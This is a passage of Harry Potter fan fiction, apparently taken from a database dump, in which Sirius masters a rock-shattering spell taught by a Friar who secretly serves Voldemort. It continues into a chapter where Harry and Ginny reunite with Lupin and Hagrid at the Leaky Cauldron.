Magic?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What?&nbsp; The Ministry of Magic?&#8221;&nbsp;\nSirius thought this was an odd question but decided to answer honestly\nanyway.&nbsp; &#8220;Well, to be honest I don&#8217;t\nlike it.&nbsp; They threw me into Azkaban\nPrison for 12 years without a trial after I was framed of murdering twelve\nmuggles as well as betraying my best friend to death.&nbsp; That hasn&#8217;t boded with me well.&nbsp;\nAnd the insistence they have of refusing to acknowledge Voldemort&#8217;s\n(Sirius was impressed when the Friar didn&#8217;t flinch) return hasn&#8217;t boded with me\nas well.&nbsp; So I suppose, you can say that\nmy overall thoughts of the Ministry aren&#8217;t on the happy side.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>After another minute of thought\nthe Friar said, &#8220;Very well, I&#8217;ll teach you the Double-Neutral Spell.&nbsp; However, there is one condition.&nbsp; This spell is very special and I don&#8217;t just\nteach it lightly.&nbsp; You must show me that\nyou are completely serious about mastering this spell, even if it costs you\nyour life.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Meaning?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;If you fail to master this\nspell in one month, I will kill you.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p><i>&#8216;Whoa, that&#8217;s harsh!&#8217;</i> Sirius thought.&nbsp; He certainly hadn&#8217;t expected such harsh\nconditions from a clergyman but then, this Friar said he had lost his\nfaith.&nbsp; For a split second, Sirius\nconsidered forgetting about the &#8220;Double-Neutral Spell&#8221;.&nbsp; However, there were two things about Sirius\nBlack.&nbsp; The first was that he some times\nhad a tendency to speak without thinking.&nbsp;\nThe second more important aspect about his was that he could never let a\nchallenge passs.&nbsp; It had been that\nchallenging nature of his that had eventually led to his and his best friends&#8217;\ntransformation into Animagi during their fifth year at Hogwarts.&nbsp; And it was this determination that had led\nto him being the only one ever to escape from the Dementors when they\ncontrolled Azkaban.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;A month?&#8221; Sirius said with a\nlaugh.&nbsp; &#8220;Ha, no way!&nbsp; I&#8217;ll master this skill in one week!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>The Friar was clearly surprised\nby Sirius&#8217;s challenge but quickly recovered himself.&nbsp; &#8220;Very well.&nbsp; You have one\nweek.&#8221;&nbsp; He passed a small rock to\nSirius.&nbsp; &#8220;The &#8216;Double-Neutral Spell&#8217; is\nbest learned without a wand and is quite simple in theory.&nbsp; Simply place your hand over the rock and\nsend in first a burst of negative charged magic immediately followed by a burst\nof positive charged magic.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Sirius shrugged and gave it a\ntry.&nbsp; The rock first glowed with a blue\nlight from the negative charged magic then red from the positive charged\nmagic.&nbsp; &#8220;Hmm, doesn&#8217;t seem to be\nworking,&#8221; he said.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;All you did there was send in a\nflow of positive charged magic after the negative charged magic,&#8221; said the\nFriar as he picked up another rock.&nbsp;\n&#8220;The key is to send in the two charges near simultaneously, yet with the\nnegative only slightly faster; like this.&#8221;&nbsp;\nWith that, the rock in the Friar&#8217;s hand exploded into dust.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Whoa,&#8221; said Sirius clearly\nimpressed.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You can still back out if you\nlike,&#8221; replied the Friar.&nbsp; &#8220;Mastering\nthis spell is a lot more difficult than one can expect and I sincerely doubt\nyou want to risk your life for just one spell.&#8221;&nbsp; Sirius however started laughing.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Are you kidding?&nbsp; I said I was going to master this spell in\none week and that&#8217;s what I intend to do!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>&nbsp;</p>\n\n<p>Four days later however, Sirius\nwas starting to have second thoughts about his challenge.&nbsp; The &#8220;Double-Neautral Spell&#8221; was even harder\nthan Sirius had anticipated and every single attempt at it he had made had\nended in failure.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8221;Dammit!&#8221; Sirius cursed.&nbsp; He was shirtless and drenched in sweat\nnearby the river and his hands were starting to burn from excessive attempted\nuses of wandless magic.&nbsp; He also hadn&#8217;t\neaten or slept much the past few days and it was starting to take its toil.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Dammit!&nbsp; Dammit!&nbsp;\nDammit!&#8221;&nbsp; He yelled, clearly\nfrustrated by his lack of progress.&nbsp;\n&#8220;How different is this spell from the Reductor Curse anyways?!&#8221;&nbsp; In a yell of frustration, Sirius grabbed his\nwand, pointed it at a nearby rock and yelled, <i>&#8220;Reducto!&#8221;</i> blasting it\naway.&nbsp; That calmed him down a little.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Wait a minute,&#8221; he\nobserved.&nbsp; He quickly examined the rock\nhe had blasted away with the Reductor Curse and realized something.&nbsp; While the &#8220;Double-Negative Spell&#8221; obliterated\na rock from it&#8217;s inside, the Reductor Curse blasted solid objects out of its\nway.</p>\n\n<p>&nbsp;</p>\n\n<p><i>&#8216;OK, I&#8217;m beginning to see how\nthis spell works,&#8217;</i>\nthought Sirius. <i>&#8216;It looks like that when I use this spell, the negative\ncharge first causes the atoms of the object to implode on them selves on the\ninside, though if it were a negative charge alone those atoms would instantly\nrearrange themselves.&nbsp; The positive\ncharge however causes those imploded atoms to explode before they have a chance\nto rearrange; in effect, it neutralizes the object.&nbsp; That must be why it&#8217;s called the &#8220;Double-Neutral Spell&#8221;: double\nspells used to neutralize the object.&#8217;</i></p>\n\n<p>&nbsp;</p>\n\n<p>As educational as this was\nhowever, it brought Sirius nowhere nearer to actually being able to master the\nspell.&nbsp; So, with a sigh, Sirius started\ntrying to attempt the spell again.</p>\n\n<p>&nbsp;</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>&nbsp;</p>\n\n<p>It had been six days now and\nSirius still hadn&#8217;t mastered the spell.&nbsp;\nIt was night now, and the stars and half moon were shining brightly in\nthe sky.&nbsp; The week would be over in the\nmorning and Sirius had been panicking.&nbsp;\nHe was now completely exhausted, his hands completely burnt by the\ncountless attempts at wandless magic.&nbsp;\nAt present he was lying on the ground looking up at the stars while\npanting.&nbsp; <i>&#8216;Maybe this&#8217;ll be the last\nstars I&#8217;ll ever see in my life,&#8217;</i> he thought.&nbsp; <i>&#8216;Who would&#8217;ve thought, especially after escaping Azkaban that\nthis would be the way I go.&#8217;</i>&nbsp; Sirius\nshook his head.&nbsp; <i>&#8216;No, can&#8217;t give up\nnow!&nbsp; Must master the spell!&nbsp; I owe it to Harry!&nbsp; I owe it to James!&#8217;</i>&nbsp;\nThat thought more than anything, gave Sirius the strength to pull\nhimself up to his knees.&nbsp; He looked down\nat the ground as he tried to catch his breath.</p>\n\n<p>&nbsp;</p>\n\n<p><i>Sirius, just let it go.</i></p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What?&#8221; Sirius&#8217;s head sprang up\nwhen he heard theoh so familiar voice in his head; a voice he hadn&#8217;t heard in\nyears.&nbsp; As soon as Sirius saw who was\nstanding in front of him, he thought he must&#8217;ve finally lost his mind.</p>\n\n<p>&nbsp;</p>\n\n<p>There, standing in front of him\nwas James Potter.&nbsp; There was no denying\nit, he looked nearly identical to Harry except that his eyes were brown and he\nhad no scar on his forehead.&nbsp; He wore\nglasses and his black hair stuck up all over the place just like Harry&#8217;s\ndid.&nbsp; He wore casual wizard robes that\nhe had always worn after his marriage to Lily.&nbsp;\nIn fact he looked just way Sirius had last seen him, just before his\nuntimely death.&nbsp; He had a small,\nmelancholy smile on his face.&nbsp; <i>Sirius,\nlet it go,</i> said the voice once again.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;J-James?&#8221; said Sirius while he\ngoggled at his long lost best friend.&nbsp;\n&#8220;It can&#8217;t be.&nbsp; Are you a\nghost?&#8221;&nbsp; Sirius noted that James&#8217;s form\nwas indeed transparent though he was in full color unlike ghosts that were\ngray.</p>\n\n<p>&nbsp;</p>\n\n<p>James smiled.&nbsp; <i>Sirius, just let it go.&nbsp; Lily and I can&#8217;t thank you enough for all\nthat you&#8217;ve done for Harry.&nbsp; So much of\nyour life has already been wasted.&nbsp; You should\njust tell the Friar that you give up: I&#8217;m sure he&#8217;ll spare your life.&nbsp; You don&#8217;t have to join Lily and I just for\nthis.</i></p>\n\n<p>&nbsp;</p>\n\n<p>Sirius chuckled as he pulled\nhimself to his feet.&nbsp; &#8220;Same old James,&#8221;\nhe muttered.&nbsp; &#8220;Always looking after my\nwell being.&#8221;&nbsp; He stood up straight and\nlooked &#8220;James&#8221; straight into the eye.&nbsp;\n&#8220;I can&#8217;t, Prongs.&nbsp; I can&#8217;t just\ngive up now.&nbsp; You see James, I&#8217;m not\njust doing this for Harry.&nbsp; I&#8217;m doing\nthis for myself.&nbsp; I&#8217;m doing this to\nprove to myself that I still have what it takes.&nbsp; I need this James, so that I know for a fact that I didn&#8217;t lose\neverything in Azkaban.&nbsp; I need this to\nprove to myself that I truly am a wizard capable of facing Voldemort standing\nright next to your son, my godson.&nbsp; And\nif you truly are James Potter, than you know for a fact that you can&#8217;t stop\nme.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Sirius took a deep breath and\nstarted walking past &#8220;James&#8221;.&nbsp; As he\npassed him, Sirius said, &#8220;I don&#8217;t care if you&#8217;re really a ghost, or just a\nfigment of my tortured imagination, or the proof that I really did lose my mind\nin Azkaban.&nbsp; All I know is that I just\nwant to say one thing: thanks Prongs.&nbsp;\nIt was great to see you again.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>As Sirius walked away from\n&#8220;James&#8221; he could sense that the vision of his best friend was smiling at him.</p>\n\n<p>&nbsp;</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>&nbsp;</p>\n\n<p>The next morning the Friar came\nover to the river and saw Sirius lying on the ground, lifeless.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Poor soul,&#8221; he said.&nbsp; &#8220;You have been remarkable.&nbsp; But I see you have worked yourself to\ndeath.&nbsp; It is unfortunate that that was\nthe way things are.&nbsp; It took me years to\nperfect the &#8216;Double-Negative Spell&#8217;, there was no way you could&#8217;ve mastered it\nin one week.&nbsp; Still, you deserve a\nproper burial...&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Oh no you don&#8217;t,&#8221; Sirius\nsuddenly said, his eyes flying open.&nbsp;\n&#8220;I&#8217;m very much alive brother friar.&#8221;&nbsp;\nHe pulled himself into a sitting position and yawned.&nbsp; The Friar seemed unimpressed.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;That doesn&#8217;t matter,&#8221; he\nsaid.&nbsp; &#8220;You have failed your\nchallenge.&nbsp; Therefore the penalty is\nyour life.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Sirius grinned.&nbsp; &#8220;Oh yeah?&#8221;&nbsp;\nHe tossed a small rock into the air and made a gesture to catch it.&nbsp; As soon as the rock hit Sirus&#8217;s hand, it\nexploded into dust.&nbsp; The Friar was\nshocked.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;But, but how could you have&#8230;&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Hey, it wasn&#8217;t a walk in the\npark,&#8221; said Sirius.&nbsp; &#8220;I only mastered it\na few hours ago, thanks to the encouraging words of an old friend. &nbsp;Personally I was having a few doubts about\ncompleting the task myself.&nbsp; But once I\ngot the hang of it, it was easy.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Easy?&#8221; said the Friar in\ndisbelief.&nbsp; &#8220;It took me years to master\nthat spell, and you have done it in a week.&nbsp;\nNothing short of genius should be said about you.&#8221;&nbsp; There was clearly awe in the Friar&#8217;s voice.</p>\n\n<p>&nbsp;</p>\n\n<p>A few hours later, Sirius was\nwell rested and ready to resume his journey.&nbsp;\n&#8220;Well off to London, that is if I had any idea where I was.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You are in Sherwood Forest,&#8221;\nsaid the Friar.&nbsp; &#8220;Nottingham is just\ndown the river.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Sherwood?&#8221; Sirius\nexclaimed.&nbsp; He burst out laughing.&nbsp; &#8220;Well what do you know, I&#8217;ve been heading\nthe right way all this time.&nbsp; I can make\nit to London easily from Nottingham.&#8221;&nbsp;\nHe turned to the Friar and grinned.&nbsp;\n&#8220;Thanks a lot for the spell, I owe you a lot now.&nbsp; The name&#8217;s Sirius Black.&nbsp; Look me up sometime.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Ah yes, the famous fugitive,&#8221;\nsaid the Friar.&nbsp; &#8220;I am Angelus\nO&#8217;Connell.&nbsp; It has been an honor to meet\nyou Sirius Black.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You bet!&#8221; said Sirius. With a\nfinal wave, Sirius transformed into a large dog and bounded away.&nbsp; Angelus continued looking out for him until\nhe was out of sight.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;A most remarkable man,&#8221; Angelus\nmutterred.&nbsp; &#8220;It would be my pleasure to\nmeet him again, somehow.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Mr. O&#8217;Connell?&#8221; said a voice\nfrom behind him.&nbsp; Angelus looked behind\nto see none other than Seth Soran.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Seth!&nbsp; To what honor is this for you to come visit me?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;A message from Mr. Voldemort?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Indeed?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;He wishes that the Elite Ten\ngather in London before the full moon.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>There was glint of something in\nAngelus&#8217;s eye.&nbsp; &#8220;Ah, so the final battle\nis upon us?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Yes it is,&#8221; replied Seth.&nbsp; &#8220;I myself have just encountered Mr. Harry\nPotter in the village of Graypine not too far from here.&nbsp; He is heading toward London.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Then the time has come,&#8221; said\nAngelus.&nbsp; &#8220;Tell the Dark Lord that I\nwill be joining him in London in just a few days.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;At once,&#8221; said Seth.&nbsp; An instant later, both Seth and Angelus had\ndisappeared.</p>\n\n<p>&nbsp;</p>\n\n<p><b>To be continued...</b></p>\n\n<p><b>&nbsp;</b></p>\n\n<p>A/N Yes, yes, I confess: I got\nthe name &#8220;Angelus&#8221; from &#8220;Buffy the Vampire Slayer&#8221;.&nbsp; This character is NOT a vampire with a soul, though.&nbsp; I also got the name of the title of this\nchapter from Penny and Carole&#8217;s fics.&nbsp;\nWell, that&#8217;s that for the acknowledgements aside from the standard\ndisclaimer.&nbsp; Read and Review.&nbsp; Next: Finally, we&#8217;re at London and Diagon\nAlley.</p>\n\n\n\n\n\n\n'),
	(33, 6, '\n\n\n\n\n\n\n\n<p><b>Title:</b> Different Paths (06)<br>\n<b>Author name:</b> E.\nC. R. Potter<br>\n<b>Author email:</b> ecrpotter@hotmail.com<br>\n<b>Category:</b> Action/Adventure<br>\n<b>Sub Category:</b> Drama<br>\n<b>Keywords:</b> Harry Voldemort Different Paths<br>\n<b>Rating:</b> PG-13<br>\n<b>Spoilers:</b> SS/PS, CoS, PoA, GoF, FB, QTTA, Ruroni Kenshin: Kyoto story\narc.<br>\n<b>Summary:</b> Tom Marvolo Riddle, Harry James Potter. Two wizards, with\nincredibly similar beginnings, who journeyed on different paths. Such different\npaths that inevitably, they could only lead to a collision course. And collide,\nthey do.<br>\n<b>DISCLAIMER:</b> This story is based on characters and situations created and\nowned by JK Rowling, various publishers including but not limited to Bloomsbury\nBooks, Scholastic Books and Raincoast Books, and Warner Bros., Inc. No money is\nbeing made and no copyright or trademark infringement is intended. It is also\nbased on a plot line based on a story owned by Nobuhiro Wazuki, Jump Comics\nInc., Fuji Television, and other publishers. No money is being made and no\ncopyright or trademark infringement is intended from them either.<br>\n<b>Author notes:</b> Here&#8217;s chapter 6.&nbsp;\nI&#8217;m hoping to increase my output of chapters for this story so I&#8217;m\nhoping to get a few more out before Christmas.&nbsp;\nWith the amount of time I have, I&#8217;m sure I&#8217;ll manage.&nbsp; So, hope you enjoy this chapter.</p>\n\n<p><b>&nbsp;</b></p>\n\n<p><b>Chapter 6: Arrival at London</b></p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Ah yes, the city of\nLondon.&nbsp; Never looked so much better,&#8221;\nGinny Weasley muttered as she walked down the streets of the capitol of\nBritain.&nbsp; &#8220;Hey look there&#8217;s the Muggle\nParliament building.&nbsp; What&#8217;s that big\nclock called again?&nbsp; Big Ben?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry completely ignored her\nseemingly lost in thought.&nbsp; This\nirritated Ginny who placed a swift kick on Harry&#8217;s shins.&nbsp; &#8220;Owe!&nbsp;\nWhy&#8217;d you do that for?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I was speaking to you,\nPotter!&nbsp; One of the first rules you must\nobserve when you&#8217;re with a lady is never ignore her when she&#8217;s talking.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry tried to grin but it came\nout more like a grimace.&nbsp; &#8220;Sorry about\nthat Ginny, but I was lost in thought.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I&#8217;m not even going to bother\nasking about what,&#8221; Ginny muttered.</p>\n\n<p>&nbsp;</p>\n\n<p>Harry sighed as he looked over\nthe Thames River, which they were walking along.&nbsp; The truth was that Harry was thinking about Hermione as he had\noften done since he had left Hogwarts.&nbsp;\nHe tried to keep his mind off her by trying to make out how high the\nTower Bridge was.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">After walking a few more blocks Harry and Ginny came upon a\ngrubby looking pub that appeared to be invisible to the muggles surrounding\nthem.&nbsp; &#8220;Ta-daa!&nbsp; Here we are!&nbsp; The Leaky Cauldron!&#8221;&nbsp;\nGinny announced with much fanfare.</p>\n\n<p>&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Not so loud!&#8221; hissed Harry.&nbsp; He unconsciously hid his scar underneath his bangs.&nbsp; &#8220;I don&#8217;t want anybody recognizing me.&nbsp; That last thing I need is half the wizarding\nworld following me around Diagon Alley wondering why I left Hogwarts.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You&#8217;re too much of a worry-wart,&#8221; said Ginny as she pushed\nthe pub&#8217;s door open.&nbsp; &#8220;Well, come\non.&nbsp; You&#8217;re not going to hang around out\nhere all day are you?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p class="MsoNormal">Grumbling to himself, Harry followed Ginny into the pub.</p>\n\n<p>&nbsp;</p>\n\n<p>As soon as they entered, Harry\nrelaxed visibly.&nbsp; The pub was all but\ndeserted that day meaning that Harry could get his lodging without the Daily\nProphet banging on his door asking for an interview.&nbsp; &#8220;Come on, lets go see if Tom has some open rooms,&#8221; he said.</p>\n\n<p>&nbsp;</p>\n\n<p>The first thing Harry noticed\nwhen he Ginny approached the bar was that the person behind it was not Tom the\nbartender.&nbsp; Although he was facing away\nfrom them apparently wiping some empty tankards, the man was clearly a lot\nyounger than Tom.&nbsp; He appeared to be in\nhis late thirties though his full head of brown hair was streaked with\ngray.&nbsp; Harry couldn&#8217;t shake the feeling\nthat he knew this man from somewhere.</p>\n\n<p>&nbsp;</p>\n\n<p>Shaking off the feeling, Harry\ncleared his throat to catch the bartender&#8217;s attention.&nbsp; He couldn&#8217;t have been more surprise when the\nbartender turned around and Harry was greeted with the familiar amber eyes of\nhis former Defense against the Dark Arts Professor, Remus J. Lupin.&nbsp; Furthermore, as soon as she had seen who it\nwas, Ginny had launched herself at Lupin wrapping him into a bear like\nhug.&nbsp; &#8220;Remus!&#8221; she squealed.&nbsp; &#8220;I&#8217;m so glad to see you!&nbsp; I missed you so much!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>At first, Lupin&#8217;s face wore an\nexpression of being stunned.&nbsp; Almost\nimmediately however, it took on an expression that could only be parental\nanger.&nbsp; &#8220;Ginny Weasley!&nbsp; Where have you been?!&nbsp; Do you have any idea how worried everyone at\nBeauxbatons was when you left for England so out of the blue?&nbsp; What in heaven&#8217;s name were you thinking when\nyou did that?&nbsp; How do you think I felt\nwhen one of my star pupils just left me like that?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Ginny looked very sheepish as\nshe pulled away from Lupin.&nbsp; &#8220;I-uh, came\nafter Draco.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I know that!&#8221; Lupin\nthundered.&nbsp; &#8220;Why else would you\nleave?&nbsp; It was always about Draco when\nit came to you!&nbsp; Did you even think to\nconsider how much danger you&#8217;d be if you just left like that?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;There was nothing to be worried\nabout!&#8221; Ginny exclaimed.&nbsp; &#8220;I was\nperfectly safe, though I never found Draco.&nbsp;\nBut I did run into Harry along the way and we came back to London\ntogether.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Harry?&#8221; It was only then when\nLupin first noticed Ginny&#8217;s companion.</p>\n\n<p>&nbsp;</p>\n\n<p>Harry, to say the least, was\nvery confused.&nbsp; &#8220;Um, did I miss\nanything?&#8221; he said.</p>\n\n<p>&nbsp;</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>&nbsp;</p>\n\n<p>Later on, Harry and Lupin were\nsitting in one of the booths talking while Ginny was upstairs getting\nchanged.&nbsp; There was in fact quite a\nstory to tell.&nbsp; As it turned out, after\nLupin&#8217;s one-year tenure at Hogwarts, Remus had journeyed to France where he had\neventually settled at Beauxbatons.&nbsp;\nThere, he was appointed the profession of Residing Professor over the\nDark Arts Defense Exchange Program that Ginny and Draco were a part of.&nbsp; During the two years there, Remus had\napparently formed a mentor-student bond with both Ginny and Draco.&nbsp; Remus for his part had a lot to say about\nDraco.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;He&#8217;s grown very powerful these\npast two years under my tutelage,&#8221; he said.&nbsp;\n&#8220;But he&#8217;s like a closed book.&nbsp; I\nthink Ginny and I were the only people he ever actually opened up to and that\nwas just skimming the surface of Draco Malfoy.&#8221;&nbsp; Remus took a sip of his butterbeer before he continued\nspeaking.&nbsp; &#8220;At first, he was pretty much\nthe same as he was at Hogwarts: an arrogant, wise-craking, stuck up, spoilt\nbrat.&nbsp; But then something happened about\na year ago.&nbsp; He became quiet, pensive,\nlost in thought, and seemed to be in a lot of pain all the time.&nbsp; Ginny simply fell in love with this new\ncooler Draco but he&#8217;d rarely open up to anyone.&nbsp; Best student on the exchange program though.&nbsp; One of the best I ever taught.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p><i>&#8216;A year ago,&#8217;</i> Harry thought.&nbsp; <i>&#8216;That&#8217;s around the time of the Slytherin Revolts.&nbsp; That must be what changed him.&#8217;</i>&nbsp; &#8220;Tell me Professor Lupin...&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Please Harry, call me Remus.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Oh, OK.&nbsp; Tell me, Remus do you know what happened at\nHogwarts a year ago.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;No,&#8221; said Remus.&nbsp; &#8220;There were rumors but no actual news came\nout to France.&nbsp; Did something really\nhappen then?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry nodded and told Remus\neverything about the Slytherin Revolts.&nbsp;\nAs soon as Harry was finished with the stories, Remus buried his face\ninto his hands and sighed.&nbsp; &#8220;I should&#8217;ve\nknown something like that happened.&nbsp;\nEspecially after the way Draco changed.&nbsp;\nI only came back to England after I heard Fudge was assassinated: wanted\nto check it out myself.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;So how did you end up being the\nbartender at the Leaky Cauldron?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Just a few days after I arrived,\nI found out that Tom the bartender was considering retiring.&nbsp; I offered taking over his job and he\naccepted.&nbsp; Besides, the Leaky Cauldron\nturned out to be the perfect location for our headquarters.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Headquarters?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Of the Order of the Phoenix.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>That caught Harry by\nsurprise.&nbsp; The Order of the Phoenix, or\n&#8220;the old crowd&#8221; as Dumbledore referred to them, was a group of powerful wizards\nand witches united in their common goal of the defeat of the Dark Lord.&nbsp; Harry knew several key members of the order\naside from Remus including Sirius.&nbsp;\nHarry was about to comment on the Order when another familiar member of\nthe Order burst into the pub bellowing, &#8220;&#8217;Ello Harry!&nbsp; What&#8217;re yeh doing down here in Diagon Alley?&#8221;&nbsp; A second later, Harry found himself in the\nbear hug of the friendly half-giant Rubeus Hagrid.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Hagrid!&#8221; Harry exclaimed\nhugging his old friend back.&nbsp; &#8220;It&#8217;s\ngreat to see you again!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Same &#8216;ere, Harry,&#8221; bellowed\nHagrid.&nbsp; During Harry&#8217;s fifth year,\nHagrid had left Hogwarts on a mission from the Order to seek help from the\ngiants.&nbsp; Harry had hardly seen him since\nand was absolutely overjoyed to see him again.&nbsp;\nHowever, the reason why he had left Hogwarts in the first place soon\ncame crashing back into his memory.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Uh, guys.&nbsp; It&#8217;s not that I don&#8217;t appreciate any help\nyou guys want to offer me but I really don&#8217;t want...&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Now hold it just a second\nHarry,&#8221; said Remus.&nbsp; &#8220;You seem to forget\nthat you&#8217;re not fighting a personal war against Voldemort.&nbsp; We&#8217;re all involved in this, especially the\nOrder.&nbsp; Even if you don&#8217;t want us to,\nwe&#8217;re going to provide you with all the help you need.&#8221;&nbsp; Behind Remus, Hagrid nodded in full\nagreement.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Well, if you say so,&#8221; said\nHarry.&nbsp; &#8220;First things first, I need a\nnew wand.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>&nbsp;</p>\n\n<p>At the exact same time only a\nfew blocks away on the other end of Diagon Alley, a different sort of\nconversation was taking place.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;&#8216;Lets take a portkey,&#8217; you\nsaid!&nbsp; &#8216;It&#8217;ll be safer that way,&#8217; you\nsaid!&nbsp; I can&#8217;t believe I agreed with you\non using a portkey to get here,&#8221; Ron Weasley muttered.</p>\n\n<p>&nbsp;</p>\n\n<p>Hermione rolled her eyes.&nbsp; &#8220;Do I have tell you this again Ron?&nbsp; We couldn&#8217;t risk coming here with Floo\nPowder.&nbsp; It&#8217;s very likely that Death\nEaters would be monitoring the Floo Network.&nbsp;\nWe would&#8217;ve been caught the instant we walked out of the fireplace.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;It would&#8217;ve saved valuable\ntime,&#8221; Ron countered.&nbsp; &#8220;We would&#8217;ve\ngotten to Diagon Alley in seconds.&nbsp; We\nhad to wait for weeks as it was getting the portkey ready!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;It doesn&#8217;t matter,&#8221; said\nHermione before their bickering could blow into one of their usual arguments.&nbsp; &#8220;It&#8217;s the past now.&nbsp; We&#8217;re here.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Ron however didn&#8217;t seem to want\nto let it go.&nbsp; He continued complaining\nabout portkey travel.&nbsp; Hermione simply\nignored him and tuned his voice out.&nbsp; As\nshe did this, her thoughts started wandering back and she started to recall\nevents that happened in the past...</p>\n\n<p><i>Two years ago.&nbsp; It was during their fifth year just a week\nbefore Christmas break started.&nbsp;\nFifteen-year old Hermione Granger was sitting alone at the Gryffindor\nTable, sulking.&nbsp; About three days previous,\nHermione and Ron had a disastrous break up following their two-month rocky\nrelationship.&nbsp; The effect of the fallout\nwas that she was now avoiding her two best friends: Ron for obvious reasons and\nHarry because she thought of him as being Ron&#8217;s accomplice.&nbsp; As far as she was concerned she didn&#8217;t want\nanything to do with Ron Weasley and the fact that she would be going home to\nspend Christmas with her parents in a few days was a 